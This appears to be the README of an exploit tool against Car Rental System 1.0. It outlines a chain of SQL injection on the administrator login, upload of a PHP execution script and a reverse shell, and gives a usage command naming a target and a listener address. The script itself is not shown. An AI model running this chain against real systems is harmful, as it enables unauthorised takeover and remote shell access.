CRS-RCE-Exploit

Car Rental System 1.0 suffers from SQL Injection on administrator login page and unsecure upload mechanism allowing to upload malicious PHP files.
This allows unauthenticated user to obtain administartor account and reverse shell to the application.
Vulnerabilites are used in the following steps:

1. SQL Injection attack on the login form
2. Upload the PHP code execution script
3. Send the reverse shell payload

Usage example:

python3 CRS.py -t 192.168.1.120 -p 80 -L 192.168.1.100 -P 80